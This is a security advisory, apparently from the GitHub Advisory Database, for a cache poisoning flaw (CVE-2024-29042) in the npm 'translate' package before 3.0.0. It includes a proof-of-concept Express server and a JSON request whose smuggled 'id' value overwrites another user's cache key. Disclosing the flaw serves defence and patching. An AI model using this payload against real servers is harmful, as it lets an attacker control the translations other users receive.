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Security Advisories: GSA_kwCzR0hTQS04ODJqLTR2ajUtN3Ztas4AA6O1
Cache Poisoning Vulnerability
Summary
An attacker controlling the second variable of the translate
function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.
Details
The opt.id
parameter allows the overwriting of the cache key. If an attacker sets the id
variable to the cache key that would be generated by another user, they can choose the response that user gets served.
PoC
Take the following simple server allowing users to supply text and the language to translate to.
import translate from "translate";
import express from 'express';
const app = express();
app.use(express.json());
app.post('/translate', async (req, res) => {
const { text, language } = req.body;
const result = await translate(text, language);
return res.json(result);
});
const port = 3000;
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
We can send the following request to poison the cache:
{"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}}
Now, any user that attempts to translate "I love you" to Dutch, will get "I hate you" in Dutch as the response.
Impact
An attacker can control the results other users may get
Permalink: https://github.com/advisories/GHSA-882j-4vj5-7vmjJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ODJqLTR2ajUtN3Ztas4AA6O1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 1 month ago
Updated: about 1 month ago
CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Identifiers: GHSA-882j-4vj5-7vmj, CVE-2024-29042
References:
- https://github.com/franciscop/translate/security/advisories/GHSA-882j-4vj5-7vmj
- https://github.com/franciscop/translate/commit/7a2bf8b9f05f7c45c09683973ef4d8e995804aa4
- https://nvd.nist.gov/vuln/detail/CVE-2024-29042
- https://github.com/franciscop/translate/commit/cc1ba03078102f83e0503a96f1a081489bb865d3
- https://github.com/advisories/GHSA-882j-4vj5-7vmj
Blast Radius: 13.9
Affected Packages
npm:translate
Dependent packages: 59Dependent repositories: 423
Downloads: 20,145 last month
Affected Version Ranges: < 3.0.0
Fixed in: 3.0.0
All affected versions: 0.1.0, 0.3.3, 0.6.0, 0.7.0, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.1.0, 1.1.1, 1.1.2, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.3.0, 1.4.0, 1.4.1, 2.0.0, 2.0.1, 2.0.2
All unaffected versions: 3.0.0